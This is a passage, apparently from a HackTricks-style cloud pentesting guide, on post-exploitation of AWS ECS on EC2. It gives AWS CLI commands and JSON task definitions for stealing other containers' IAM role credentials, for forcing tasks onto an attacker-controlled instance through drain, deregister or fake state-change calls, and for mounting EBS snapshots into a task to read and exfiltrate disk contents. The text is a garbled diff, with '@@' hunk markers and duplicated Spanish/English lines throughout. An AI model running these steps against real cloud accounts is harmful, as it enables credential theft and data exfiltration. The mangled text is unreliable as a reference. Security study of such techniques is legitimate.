> IMDSv2 con un hop limit de 1 **does not** bloqueará las tasks awsvpc ni las host-networked—solo las Docker bridge tasks están lo suficientemente lejos para que las respuestas mueran. Ver [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) para el flujo de ataque completo y notas de bypass. Investigación reciente de Latacora (https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) muestra que awsvpc y host tasks todavía obtienen las credenciales del host incluso cuando se aplica IMDSv2+h=1.
### Privesc to node to steal other containers creds & secrets
But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
Además, EC2 usa docker para ejecutar tasks de ECS, así que si puedes escapar al node o **access the docker socket**, puedes **check** qué **other containers** se están ejecutando, e incluso **get inside of them** y **steal their IAM roles** adjuntas.
#### Hacer que los containers se ejecuten en el host actual
#### Making containers run in current host
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
Además, la **EC2 instance role** normalmente tendrá suficientes **permissions** para **update the container instance state** de las EC2 instances usadas como nodes dentro del cluster. Un atacante podría modificar el **state of an instance to DRAINING**, entonces ECS **remove all the tasks from it** y las que se están ejecutando como **REPLICA** serán **run in a different instance,** potencialmente dentro de la **attackers instance** para que pueda **steal their IAM roles** y obtener información sensible desde dentro del container.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
La misma técnica se puede hacer **anulando el registro de la instancia EC2 del clúster**. Esto es potencialmente menos sigiloso, pero **forzará que las tareas se ejecuten en otras instancias:**
La misma técnica puede realizarse **anulando el registro de la EC2 instance en el cluster**. Esto es potencialmente menos sigiloso pero **forzará que los tasks se ejecuten en otras instances:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Una técnica final para forzar la re-ejecución de tasks es indicar a ECS que la **task or container was stopped**. Hay 3 APIs potenciales para esto:
Una técnica final para forzar la re-ejecución de tasks es indicar a ECS que la **task or container was stopped**. Hay 3 APIs potenciales para hacer esto:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
@@ -50,36 +50,36 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### Robar información sensible de los contenedores de ECR
### Robar información sensible de los contenedores ECR
La instancia EC2 probablemente también tendrá el permiso `ecr:GetAuthorizationToken` que le permite **descargar imágenes** (puedes buscar información sensible en ellas).
La instancia EC2 probablemente también tendrá el permiso `ecr:GetAuthorizationToken`, lo que le permite **descargar imágenes** (podrías buscar información sensible en ellas).
### Montar una instantánea de EBS directamente en una tarea de ECS (configuredAtLaunch + volumeConfigurations)
### Montar un snapshot de EBS directamente en una tarea ECS (configuredAtLaunch + volumeConfigurations)
Abusar de la integración nativa ECSEBS (2024+) para montar el contenido de una instantánea de EBS existente directamente dentro de una nueva tarea/servicio de ECS y leer sus datos desde dentro del contenedor.
Abusa de la integración nativa ECS EBS (2024+) para montar el contenido de un snapshot de EBS existente directamente dentro de una nueva tarea/servicio ECS y leer sus datos desde dentro del contenedor.
- Requisitos (mínimos):
- ecs:RegisterTaskDefinition
- Uno de: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole en:
- ECS infrastructure role used for volumes (política: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles referenced by the task definition
- Si la instantánea está cifrada con una CMK: permisos de KMS para el rol de infra (la política administrada de AWS mencionada arriba incluye los permisos KMS requeridos para claves administradas por AWS).
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
- Impacto: Leer contenido arbitrario del disco desde la instantánea (p. ej., archivos de base de datos) dentro del contenedor y exfiltrar vía red/registros.
- Impacto: Leer contenidos arbitrarios del disco desde el snapshot (p. ej., archivos de base de datos) dentro del contenedor y exfiltrarlos vía red/logs.
Pasos (ejemplo Fargate):
1) Crear el ECS infrastructure role (si no existe) y adjuntar la política administrada:
1) Crea el ECS infrastructure role (si no existe) y adjunta la managed policy:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registra una task definition con un volumen marcado `configuredAtLaunch` y móntalo en el contenedor. Ejemplo (imprime el secreto y luego duerme):
2) Registrar una task definition con un volume marcado `configuredAtLaunch` y montarlo en el container. Ejemplo (imprime el secreto y luego duerme):
```json
{
"family": "ht-ebs-read",
@@ -99,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) Crear o actualizar un servicio pasando el snapshot de EBS a través de `volumeConfigurations.managedEBSVolume` (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
3) Crear o actualizar un servicio pasando el snapshot de EBS vía `volumeConfigurations.managedEBSVolume` (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
```json
{
"cluster": "ht-ecs-ebs",
@@ -113,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
]
}
```
4) Cuando la task se inicia, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., `/loot`). Exfiltrate a través de la network/logs de la task.
4) Cuando la tarea arranca, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., `/loot`). Exfiltrate a través de la red/los logs de la tarea.
Limpieza:
```bash
@@ -121,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
## Referencias
- [Latacora - ECS on EC2: Cubriendo brechas en el endurecimiento de IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
{{#include ../../../../banners/hacktricks-training.md}}